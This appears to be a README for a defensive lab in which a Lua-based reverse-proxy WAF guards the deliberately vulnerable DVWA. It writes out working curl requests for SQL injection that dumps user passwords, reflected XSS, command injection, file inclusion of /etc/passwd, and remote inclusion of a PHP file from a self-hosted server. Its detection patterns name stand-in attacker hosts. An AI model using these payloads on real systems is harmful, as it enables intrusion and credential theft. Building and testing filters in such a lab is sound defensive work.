A vulnerable web application (DVWA) is intentionally left exploitable to simulate real-world SQL injection threats. An HTTP proxy (called bridge) sits between clients and the vulnerable service, equipped with filtering logic to detect and block SQLi and some other attacks.
- Container name:
dvwa(Damn Vulnerable Web Application) - Base image:
vulnerables/web-dvwa - Vulnerability: SQL Injection (and others)
- Container name:
bridge - Base image:
openresty/openresty:alpine - Features:
- Lightweight reverse proxy based on Nginx + Lua.
- Custom Lua scripts inspect and block malicious traffic.
- Specifically designed to detect SQL Injection, XSS, Command Injection, and LFI/RFI patterns.
- No external Web Application Firewall (WAF) dependency.
- Container name:
attacker - Base image:
alpine - Purpose: Simulate attacker behavior to validate vulnerability and filter
args: Table of key-value pairs, where keys k are argument names and values v are the input values (e.g., HTTP GET/POST parameters).
- Checks if value matches the pattern.
- If yes, blocks the request and returns an attack message.
What it detects:
- Boolean-based SQL Injection:
- Looks for SQL logic like:
OR 1=1, AND 2=2
- String-based SQL Injection:
- Looks for strings where quotes are used improperly to manipulate SQL queries:
' or 'a'='a'
- SQL Keyword Injection:
- Captures presence of dangerous SQL commands:
union, select, drop, insert, update, delete
- Docker Desktop installed and running
- Internet connection to pull base images
First run the daemon:
systemctl --user start docker-desktop`docker run --name dvwa -d -p 8081:80 vulnerables/web-dvwaIf you have already done that, you can start the container via:
docker start dvwaAccess DVWA in your browser at: http://localhost:8081
- Login with:
- Username: admin
- Password: password
-
Click on the button
Create / Reset Databaseat the bottom of the page. -
Login again.
-
Go to DVWA Security page and set (in default settings it should be already set as below):
- Security Level: Low
- PHPIDS: Disabled
Ensure the following files exist in your proxy-container/ directory (you must have them already when you clone the project):
- Dockerfile
- nginx.conf
- waf.lua
Build the proxy container (you must be in the root directory of the project):
docker build --no-cache -t proxy-bridge ./proxy-containerdocker run --name bridge -d -p 8080:80 --link dvwa proxy-bridgeIf you have already done that, you can start the container via:
docker start bridgeProxy listens at: http://localhost:8080
To run the container with WAF disabled, use:
docker run --name bridge -d -p 8080:80 --link dvwa -e WAF_MODE=off proxy-bridgeThis way you do not need to use the code below to see if the attack actually works or not:
docker run --rm -it --link dvwa --name attacker alpine shThe WAF loads all Lua plugin files dynamically from the plugins/ directory at runtime. Users can implement new protection modules by simply adding a new .lua file to the folder without modifying the core logic.
docker run --name bridge -d -p 8080:80 --link dvwa \
-v "$(pwd)/proxy-container/plugins:/usr/local/openresty/nginx/conf/plugins" proxy-bridgeThis binds your local plugins/ live into the container. Adding a new plugin after the container is running?
✅ The container sees it immediately (no rebuild). ✅ You only need to restart the container.
docker run --rm -it --link bridge --name attacker alpine shThen run this command:
apk add curlTo simulate a real authenticated attacker, I first needed to log in to DVWA through the proxy container (bridge) and save the session cookies for future use in malicious and legitimate requests. I will follow the same steps a browser would during login.
curl -c cookies.txt "http://bridge/login.php" -o login.html
TOKEN=$(sed -n "s/.*user_token' value='\([^']*\)'.*/\1/p" login.html)
echo "Extracted token: $TOKEN"I requested the login page from DVWA through the proxy (bridge). The -c cookies.txt option told curl to store any cookies (like PHPSESSID) into a file. The login page HTML was saved as login.html so I could extract the CSRF token. DVWA requires a user_token to be submitted with every login attempt. I used sed to parse the HTML and extract the CSRF token from the field. I stored that value in the TOKEN variable.
curl -b cookies.txt -c cookies.txt -d "username=admin&password=password&Login=Login&user_token=$TOKEN" "http://bridge/login.php"This curl command submitted the login form via POST. I used -b cookies.txt to reuse the session ID (PHPSESSID) from the previous step. -c cookies.txt updated the cookie file with any new values. I passed the username, password, and extracted user_token to authenticate.
We can also see the cookies in dev tools without doing all these steps:
✅ Test Cases ✅ Normal Traffic (Should Pass)
curl -b cookies.txt "http://bridge/vulnerabilities/sqli/?id=1&Submit=Submit"This is equivalent to http://localhost:8080/vulnerabilities/sqli/?id=1&Submit=Submit in the browser.
✅ Returns HTML output from DVWA
🚫 Malicious Traffic (Should Be Blocked)
curl -b cookies.txt "http://bridge/vulnerabilities/sqli/?id=1%20UNION%20SELECT%201,2--&Submit=Submit"The expected output is this:
Commands that we can test:
1' OR '1'='1'#
curl -b cookies.txt "http://bridge/vulnerabilities/sqli/?id=1'+OR+'1'='1'--+&Submit=Submit"'UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name= 'users' #
curl -b cookies.txt "http://bridge/vulnerabilities/sqli/?id=1'+UNION+SELECT+column_name,NULL+FROM+information_schema.columns+WHERE+table_name='users'--+-&Submit=Submit"'UNION SELECT user, password FROM users #
curl -b cookies.txt "http://bridge/vulnerabilities/sqli/?id=1'+UNION+SELECT+user,password+FROM+users--+-&Submit=Submit"Verifying Vulnerability (Without Proxy)
Run attacker container with access to DVWA:
Exit from the previous container and if you encountered an error saying attacker is in use, either you should exit from it or run:
docker rm -f attackerdocker run --rm -it --link dvwa --name attacker alpine shapk add curlGet some cookies first!
curl -c cookies.txt "http://dvwa/login.php" -o login.html
TOKEN=$(sed -n "s/.*user_token' value='\([^']*\)'.*/\1/p" login.html)
echo "Extracted token: $TOKEN"
curl -b cookies.txt -c cookies.txt -d "username=admin&password=password&Login=Login&user_token=$TOKEN" "http://dvwa/login.php"Then test the vulnerable endpoint (submitting 1' OR '1'='1'#):
curl -b cookies.txt "http://dvwa/vulnerabilities/sqli/?id=1%20UNION%20SELECT%201,2--&Submit=Submit"'UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name= 'users' #
curl -b cookies.txt "http://dvwa/vulnerabilities/sqli/?id=1'+UNION+SELECT+column_name,NULL+FROM+information_schema.columns+WHERE+table_name='users'--+-&Submit=Submit"'UNION SELECT user, password FROM users #
curl -b cookies.txt "http://dvwa/vulnerabilities/sqli/?id=1'+UNION+SELECT+user,password+FROM+users--+-&Submit=Submit"We can see both in the browser and the terminal that without the bridge, the system is vulnerable.
Base Image: openresty/openresty:alpine
This image comes with:
- Nginx web server.
- LuaJIT and Lua modules embedded.
- Ready to handle dynamic request inspection via custom Lua scripts.
Why OpenResty?
We transitioned away from ModSecurity because:
- Lua scripting via OpenResty provides lightweight, fast, and flexible request filtering.
- We can define and update our own security logic without relying on third-party rule sets.
Defines:
- Listening on port 80.
- Reverse proxying traffic to DVWA backend.
- Lua access phase hook to inspect all incoming requests before passing to DVWA.
Implements custom detection logic:
- SQL Injection (classic keyword and logic-based patterns like OR '1'='1').
- Cross-Site Scripting (XSS) (tag-based injection patterns).
- Command Injection (shell metacharacters and command substitution).
- Local File Inclusion / Remote File Inclusion (directory traversal and URL wrappers).
- Requests matching these patterns are immediately blocked with HTTP 403 Forbidden responses.
- Client sends request → arrives at the Bridge container.
- Nginx receives the request.
- Lua script inspects all request arguments.
- If the request matches any malicious pattern → immediate block.
- If safe → proxy request forwarded to the DVWA backend.
XSS is a web security vulnerability that allows an attacker to inject malicious scripts into websites, which are then executed by the user's browser.
What it detects:
Typical XSS payload markers:
- <script>, , onerror=, onload=
- JavaScript functions: alert(), prompt(), confirm()
Run the Attacker Container:
docker run --rm -it --link bridge --name attacker alpine shThen run this command:
apk add curlcurl -c cookies.txt "http://bridge/login.php" -o login.html
TOKEN=$(sed -n "s/.*user_token' value='\([^']*\)'.*/\1/p" login.html)
echo "Extracted token: $TOKEN"
curl -b cookies.txt -c cookies.txt -d "username=admin&password=password&Login=Login&user_token=$TOKEN" "http://bridge/login.php"🚫 Malicious Traffic (Should Be Blocked)
curl -b cookies.txt "http://bridge/vulnerabilities/xss_r/?name=<script>alert(1)</script>"The expected output is this:
Verifying Vulnerability (Without Proxy)
docker run --rm -it --link dvwa --name attacker alpine shapk add curlcurl -c cookies.txt "http://dvwa/login.php" -o login.html
TOKEN=$(sed -n "s/.*user_token' value='\([^']*\)'.*/\1/p" login.html)
echo "Extracted token: $TOKEN"
curl -b cookies.txt -c cookies.txt -d "username=admin&password=password&Login=Login&user_token=$TOKEN" "http://dvwa/login.php"curl -b cookies.txt "http://dvwa/vulnerabilities/xss_r/?name=<script>alert(1)</script>"We can see that without the bridge, the system is vulnerable.
Command Injection happens when an application takes user input and passes it unsafely to a system shell (like Bash, CMD) to run OS-level commands.
What it detects:
Unix shell command separators and injection techniques:
- ;, |, &, `, $()
Run the Attacker Container
docker run --rm -it --link bridge --name attacker alpine shThen run this command:
apk add curlcurl -c cookies.txt "http://bridge/login.php" -o login.html
TOKEN=$(sed -n "s/.*user_token' value='\([^']*\)'.*/\1/p" login.html)
echo "Extracted token: $TOKEN"
curl -b cookies.txt -c cookies.txt -d "username=admin&password=password&Login=Login&user_token=$TOKEN" "http://bridge/login.php"🚫 Malicious Traffic (Should Be Blocked)
curl -b cookies.txt "http://bridge/vulnerabilities/exec/?ip=127.0.0.1;ls#"The expected output is this:
Verifying Vulnerability (Without Proxy)
curl -b cookies.txt "http://dvwa/vulnerabilities/exec/?ip=127.0.0.1;ls#"We can see that without the bridge, the system is vulnerable.
What it detects:
-
Local File Inclusion (LFI) attacks:
../../etc/passwd..\..\windows\system32 -
Remote File Inclusion (RFI) attacks:
file://evil.com/shell.txthttp://evil.com/shell.txtftp://bad.site/backdoor.php
Run the Attacker Container
docker run --rm -it --link bridge --name attacker alpine shThen run this command:
apk add curlcurl -c cookies.txt "http://bridge/login.php" -o login.html
TOKEN=$(sed -n "s/.*user_token' value='\([^']*\)'.*/\1/p" login.html)
echo "Extracted token: $TOKEN"
curl -b cookies.txt -c cookies.txt -d "username=admin&password=password&Login=Login&user_token=$TOKEN" "http://bridge/login.php"🚫 Malicious Traffic (Should Be Blocked)
cURL Command to Test LFI:
curl -b cookies.txt "http://bridge/vulnerabilities/fi/?page=../../../../../etc/passwd"cURL Command to Test RFI:
To make RFI work:
- Exec into the container:
docker exec -it dvwa sh- Edit php.ini:
sed -i 's/allow_url_fopen\s*=\s*Off/allow_url_fopen = On/' /etc/php*/apache2/php.ini
sed -i 's/allow_url_include = Off/allow_url_include = On/' /etc/php/7.0/apache2/php.ini- Restart Apache inside container:
service apache2 restartCreate the malicious file:
- Create shell.txt with PHP payload:
<?php echo "You got pwned"; ?>-
Save it somewhere.
-
Run this:
python3 -m http.server 8000and then try this:
curl -b cookies.txt "http://bridge/vulnerabilities/fi/?page=http://192.168.43.26:8000/shell.txt"The expected output is this:
Verifying Vulnerability (Without Proxy)
http://localhost:8081/vulnerabilities/fi/?page=http://192.168.43.26:8000/shell.txtThe expected output is this:












